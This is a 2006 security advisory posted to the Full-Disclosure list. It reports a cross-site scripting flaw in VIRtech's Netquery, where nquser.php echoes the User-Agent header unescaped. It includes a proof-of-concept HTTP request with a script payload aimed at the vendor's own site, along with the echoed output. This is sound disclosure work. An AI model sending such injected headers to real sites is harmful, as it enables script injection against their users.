·= Security Advisory =·
Issue: Cross Site Scripting (XSS) Vulnerability in Netquery by
"VIRtech"Discovered Date: 04/10/2006Author: Tal Argoni, LegendaryZion.
[talargoni at gmail.com]Product Vendor: http://www.virtech.org
Details:
VIRtechs Netquery system is prone to a Cross Site Scripting Vulnerability.The
vulnerability exists in "nquser.php" file, caused by the lack of Input
Validation/Filteringof quotation and HTML characters in the header parameter
"User-Agent:".
Part of the http header:
GET http://target/netquery/nquser.php HTTP/1.0User-Agent:
<script>alert('User-Agent:')</script>...
After send the crafted http header, nquser.php prints the following HTML
code:------------------------------------------------------------------------------------------------------------------...User
Agent : <script>alert('User-Agent:')</script><br />...
Successful exploitation may allow execution of script code. This could also be
exploited to spoof the entire website's content,create fake login menu's for
all the platform's users, commit Denial Of Service attacks and more...
Proof Of Concept:
GET http://virtech.org/e107/e107_plugins/netquery/nquser.php HTTP/1.0Accept:
*/*Referer: http://virtech.org/tools/Accept-Language: en-usPragma:
no-cacheUser-Agent: <script>alert()</script>Host: virtech.orgProxy-Connection:
Keep-AliveCookie: e107_tdOffset=32630; e107_tdSetTime=1159974893;
e107_tzOffset=420Content-length: 0
Vulnerable systems:e107 EditionPostnuke EditionXaraya EditionXoops Edition
Not vulnerable systems:Standalone EditionFusion Edition
Thanks,Tal Argoni, CEHwww.zion-security.com
_______________________________________________Full-Disclosure - We believe in
it.Charter: http://lists.grok.org.uk/full-disclosure-charter.htmlHosted and
sponsored by Secunia - http://secunia.com/
